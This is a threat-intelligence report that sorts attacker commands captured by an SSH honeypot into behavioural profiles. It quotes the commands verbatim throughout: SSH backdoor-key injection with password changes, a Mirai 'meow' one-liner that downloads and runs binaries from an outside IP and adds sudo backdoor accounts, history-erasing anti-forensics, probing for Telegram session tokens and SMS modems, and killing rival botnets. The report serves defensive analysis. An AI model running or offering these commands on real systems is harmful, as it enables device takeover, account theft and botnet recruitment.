TI-2026-037B
The Ghost Machines

I. Abstract — 670 Confessions

Every SSH session is a confession.

The attacker cannot help it. The moment they gain access, they must act — and the first commands they execute reveal exactly who they are and what they want. Not who they claim to be. Not what they say they're doing. What they actually do in the first ten seconds after login.

The LSN honeypot has captured 670 commands from 53 distinct source IPs across 131 unique command strings. These commands cluster into seven behavioral profiles — seven different types of operators, each with a different purpose, different tools, different targets, and different levels of sophistication.

This is not a report about IP addresses or threat scores. This is a behavioral taxonomy of post-compromise operations — a field guide to the seven species that inhabit the SSH attack ecosystem.

What follows is the complete behavioral profile of each operator type — their commands quoted verbatim, their infrastructure identified, their purpose decoded from what they do rather than what they say.

II. The Taxonomy — Seven Operator Profiles

The 53 command-executing IPs sort into seven distinct behavioral profiles. Each profile represents a different business model built on the same raw material: unauthorized SSH access.

There is an eighth profile — The Proxy Hunter — documented extensively in TI-2026-037A. That operator runs the most sophisticated single command we have captured: a 1,247-character reconnaissance script that evaluates SSH tunnel capability, proxy tool inventory, router firmware, and sudo access. It operates from a dedicated 6-node cluster and is documented separately because it represents an entirely different scale of operation.

What follows is the forensic decomposition of each profile.

III. Profile 1: The Cataloger — Telegram, MikroTik, and SIM Cards

Sixteen IPs execute the same sequence of commands. Not similar commands — the same commands, in the same order. This is a single operator controlling 16 scanning nodes.

Their command sequence reveals an operator who wants everything:

# STEP 1: Device identification
uname -a                    # What is this machine?
ifconfig                    # What's its real IP?
cat /proc/cpuinfo           # How powerful is it?
echo Hi | cat -n            # Shell capability test

# STEP 2: Competition check
ps -ef | grep '[Mm]iner'    # Already mining? (someone else got here first)
ps | grep '[Mm]iner'        # Same check, fallback for busybox

# STEP 3: Router firmware detection
/ip cloud print             # MikroTik RouterOS command

# STEP 4: TELEGRAM SESSION THEFT
ls -la ~/.local/share/TelegramDesktop/tdata    # Current user's Telegram
ls -la /home/*/.local/share/TelegramDesktop/tdata  # ALL users' Telegram

# STEP 5: GSM/SMS MODEM DETECTION
ls -la /dev/ttyGSM*         # GSM modem devices
ls -la /dev/ttyUSB-mod*     # USB modem devices
ls -la /var/spool/sms/*     # SMS spool directory
ls -la /var/log/smsd.log    # SMS daemon log
ls -la /etc/smsd.conf*      # SMS daemon config
ls -la /usr/bin/qmuxd       # Qualcomm MUX daemon (LTE modems)
ls -la /var/qmux_connect_socket  # Qualcomm MUX socket
ls -la /etc/config/simman   # SIM manager config
ls -la /dev/modem*          # Generic modem devices
ls -la /var/config/sms/*    # SMS config directory

# STEP 6: INFECTION MARKER
locate D877F783D5D3EF8Cs    # Check for specific prior compromise

This is the most revealing command sequence in the entire honeypot. Read it again.

This operator is not just looking for servers. They are looking for devices that have:

1. Telegram desktop sessions — authentication tokens stored in tdata/ that can be stolen and used to hijack accounts remotely. A stolen Telegram session grants full access to messages, contacts, channels, and groups without triggering 2FA.
2. GSM/SMS modems — physical SIM-equipped devices that can send and receive SMS messages. These are gold for bypassing SMS-based two-factor authentication. A compromised device with a SIM card becomes an SMS relay for account takeover operations.
3. MikroTik routers — via the /ip cloud print RouterOS command. MikroTik devices are prime targets for proxy botnets (as documented in TI-2026-037A).

The business model is layered: one compromised device can serve as a proxy node (MikroTik), a Telegram account theft vector (tdata), AND an SMS relay (GSM modem) simultaneously. The Cataloger doesn't pick one purpose — it catalogs all monetizable capabilities and sells access to each layer separately.

IV. Profile 2: The "mdrfckr" — SSH Key Injection + Cryptomining

Six IPs share an identical behavior pattern: inject an SSH public key, change the system password, assess CPU resources, and check for competing miners. The SSH key's comment field reads: mdrfckr.

# STEP 1: Remove existing SSH config and inject backdoor key
cd ~; chattr -ia .ssh; lockr -ia .ssh
# ↑ Remove immutable+append-only flags (defeating other botnets' protection)

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAAB
JQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bU
anUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eL
BHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYM
b66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+
u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAy
SVKPRK+oRw== mdrfckr">>.ssh/authorized_keys
# ↑ Permanent backdoor — survives password changes, reboots, everything

chmod -R go= ~/.ssh
# ↑ Set correct permissions so SSH accepts the key

# STEP 2: Change passwords with generated random strings
echo -e "ubuntu\nKJLvCPcBKgDA\nKJLvCPcBKgDA"|passwd|bash
# or: echo "root:yCvI0vHcNCYW"|chpasswd|bash
# ↑ Lock out the original owner AND other attackers

# STEP 3: Resource assessment for mining
cat /proc/cpuinfo | grep name | wc -l       # How many CPU cores?
cat /proc/cpuinfo | grep name | head -n 1    # What CPU model?
cat /proc/cpuinfo | grep model | grep name   # Alternative CPU check
free -m | grep Mem                            # Available RAM
df -h | head -n 2                             # Disk space
ls -lh $(which ls)                            # Coreutils or busybox?
crontab -l                                    # Existing scheduled tasks
w                                             # Who else is logged in?

Note the infrastructure: UCloud (Hong Kong subsidiary in US), Microsoft Azure (Netherlands), and a Dominican Republic ISP. The operator uses major cloud providers as scanning platforms. Microsoft Azure, which hosts millions of legitimate enterprise services, is simultaneously hosting SSH backdoor injection operations.

The chattr -ia .ssh and lockr -ia .ssh commands reveal another detail: this operator knows that other botnets protect their SSH keys by setting the immutable flag (chattr +i) on the .ssh directory. The mdrfckr operator removes these protections before injecting their own key. This is botnet warfare — each operator fights to maintain exclusive access to compromised devices.

V. Profile 3: The "meow" — Google Cloud Weaponized Against IoT

Two scanning IPs — both on Google Cloud — deploy a Mirai variant called "meow." The operation is notable not for its sophistication, but for its complete vertical integration on a single cloud provider.

# Single command — privilege escalation + download + deploy + persist
echo 'toor' | sudo -S sh -c '
  cd /tmp; 
  ulimit -n 1020000;           # Max file descriptors (for DDoS)
  rm -rf meow*;                # Remove previous versions
  wget http://35.237.91.38/meow;        # Download x86 binary FROM GOOGLE CLOUD
  curl -O http://35.237.91.38/meow;     # Fallback download method
  chmod 777 meow; ./meow;              # Execute x86 variant
  wget http://35.237.91.38/meowarm64;   # Download ARM64 binary
  curl -O http://35.237.91.38/meowarm64;# Fallback
  chmod 777 meowarm64; ./meowarm64;    # Execute ARM variant
  echo $(whoami):modzmodz | chpasswd;  # Change current user password
  useradd -m -s /bin/bash admin1;      # Create backdoor account #1
  echo admin1:modzmodz | chpasswd;     # Set password: modzmodz
  usermod -aG sudo admin1;             # Grant sudo to backdoor
  useradd -m -s /bin/bash user1;       # Create backdoor account #2
  echo user1:modzmodz | chpasswd;      # Same password
  echo -n $(whoami):toor > /tmp/mew    # Log original credentials
'

The binary names — meow and meowarm64 — indicate a Mirai variant. The original Mirai source code was published in 2016 and has spawned hundreds of variants. This particular variant targets both x86 (servers, VMs) and ARM64 (routers, IoT devices, Raspberry Pi). The attacker deploys both, letting the wrong architecture fail silently.

The password modzmodz and the backdoor accounts admin1/user1 are persistence mechanisms — if the SSH key gets removed, the attacker can still log in with these accounts. The echo -n $(whoami):toor > /tmp/mew command logs the original credentials, suggesting the operator keeps records of which devices were compromised with which passwords.

VI. Profile 4: The Ghost — Anti-Forensics Before Everything

Three IPs share an identical pattern: their very first action after login is to disable command history.

# FIRST — erase all traces
export HISTFILE=/dev/null       # Bash: don't save history to disk
export HISTSAVE=/dev/null       # Ksh: same
unset HISTFILE                  # Belt and suspenders
unset HISTSAVE                  # Belt and suspenders

# THEN — check if this is a real shell
                                # (empty command — test shell responsiveness)
if ! type export >/dev/null 2>&1; then
echo "ERROR: BADtype: export"   # Detect honeypot/restricted shell
exit                            # Abort if not a real shell

This is the profile of a manual operator — not a bot, not a script. The commands are typed or pasted by a human who knows what log files exist, how bash history works, and how to detect fake shells. The anti-honeypot check (if ! type export) is particularly telling: this operator has encountered honeypots before and been burned by them. They test the environment before revealing their actual tools.

What they do after the anti-forensics setup is invisible to us — the honeypot logs the commands, but the operator's tradecraft would defeat a real system's forensic recovery. We see the preparation, not the operation.

VII. Profile 5: The GPU Hunter — Finding Video Cards on Routers

Three IPs from TechTies Inc. (AS197170, registered in Seychelles, operating from Netherlands) execute the most detailed hardware assessment in the dataset:

# System fingerprinting
uname -s -v -n -m 2>/dev/null
uname -m 2>/dev/null
cat /proc/uptime 2>/dev/null | cut -d. -f1

# CPU assessment
nproc || grep -c "^processor" /proc/cpuinfo
grep -m1 -E "model name|Hardware" /proc/cpuinfo
lscpu | awk -F: '/Model name/ {print $2}'
dmidecode -s processor-version 2>/dev/null

# GPU DETECTION
lspci 2>/dev/null | grep -i vga           # Any video card?
lspci 2>/dev/null | grep -i nvidia         # NVIDIA specifically

# Environment fingerprinting
cat --help 2>&1 | tr '\n' ' '             # GNU coreutils or busybox?
ls --help 2>&1 | tr '\n' ' '              # Same check — different programs
last 2>/dev/null | head -n 10              # Recent login history

The GPU check is extraordinary. lspci | grep -i nvidia on a compromised SSH server reveals an operator who has encountered GPU-equipped machines before — and found them worth targeting for GPU-accelerated cryptocurrency mining (specifically Ethereum or its successors). The fact that they check for nvidia specifically tells us exactly which mining software they plan to deploy: something that uses CUDA.

The cat --help and ls --help commands are not about help text. They're about determining whether the system uses GNU coreutils (full Linux installation, likely x86 server) or BusyBox (embedded system, IoT device, router). This distinction determines which binary architecture and which mining software to deploy.

VIII. Profile 6: The Competitor Killer — Botnet Turf Wars

Four IPs execute a specific cleanup routine before deploying their own payload:

rm -rf /tmp/secure.sh          # Kill rival botnet installer #1
rm -rf /tmp/auth.sh            # Kill rival botnet installer #2
pkill -9 secure.sh             # Force-kill running rival #1
pkill -9 auth.sh               # Force-kill running rival #2
echo > /etc/hosts.deny         # Clear IP blacklists (unlock device)
pkill -9 sleep                 # Kill sleep processes (persistence loops)

The filenames secure.sh and auth.sh are deliberate misnomers — rival botnet operators name their persistence scripts to look like legitimate security tools. The Competitor Killer knows exactly what these files are and removes them by name.

The echo > /etc/hosts.deny command is particularly telling: rival botnets often add the scanning IPs of competitors to hosts.deny to lock them out. The Competitor Killer clears this file to ensure their own scanner nodes can reach the device. And pkill -9 sleep targets the persistence mechanism of simple botnets that use shell scripts with while true; do ... ; sleep 300; done loops.

This is a turf war. Every compromised device with default credentials becomes contested territory. Multiple botnet operators fight for exclusive access, each removing the other's tools and installing their own persistence. The device owner — who still hasn't changed the default password — is unaware that their router is a battleground.

IX. Profile 7: The Heartbeat — 111 Times "BMOK"

IP 103.24.212.42 — an Indonesian IP on PT Adau Putra Network (AS132649) — logged in 364 times with 229 successes and executed a single command: echo BMOK. One hundred and eleven times.

This is the simplest and most honest profile in the dataset. No reconnaissance. No malware. No backdoors. Just: are you still there? OK.

The implication is chilling in its simplicity: this IP is checking on devices it has already compromised. The 229 successful logins represent 229 confirmed nodes in an active botnet. The 135 failed logins represent nodes that have been patched, taken offline, or secured since the last check. This is an operator managing inventory attrition in real time.

X. The Password Landscape — What Gets You In

The credential data tells its own story:

Two credentials stand out in the failed column:

systemd:Voidsetdownload.so (23 IPs, all failed) — This is not a guess. This is a specific credential planted by a prior malware infection. The username systemd is designed to blend with legitimate system accounts. The password Voidsetdownload.so is a command-like string that would download a payload if echoed to a shell. Twenty-three different IPs tried this exact combination — meaning 23 nodes in a botnet were told to access our honeypot with this planted credential. It failed because no prior malware had actually created this account.

root:Google1986. (13 IPs, 9 unique) — This is a targeted credential, possibly leaked from a specific infrastructure. The pattern "Service + Year + Punctuation" is common in enterprise default passwords that were never changed.

XI. The Tool Ecosystem — 63 Fingerprints, 9,987 Sessions

The SSH fingerprint (HASSH) data reveals the full ecosystem of attack tools being used worldwide:

The Ncrack/Hydra cluster (33 IPs each, all sharing the same sample IPs including Google Cloud addresses 34.14.x and 34.38.x) represents legitimate penetration testing tools being used maliciously. These are the same Google Cloud IP ranges as the "meow" deployers — suggesting a single operator who uses professional pentesting tools for scanning and Mirai variants for deployment.

XII. The Questions That Remain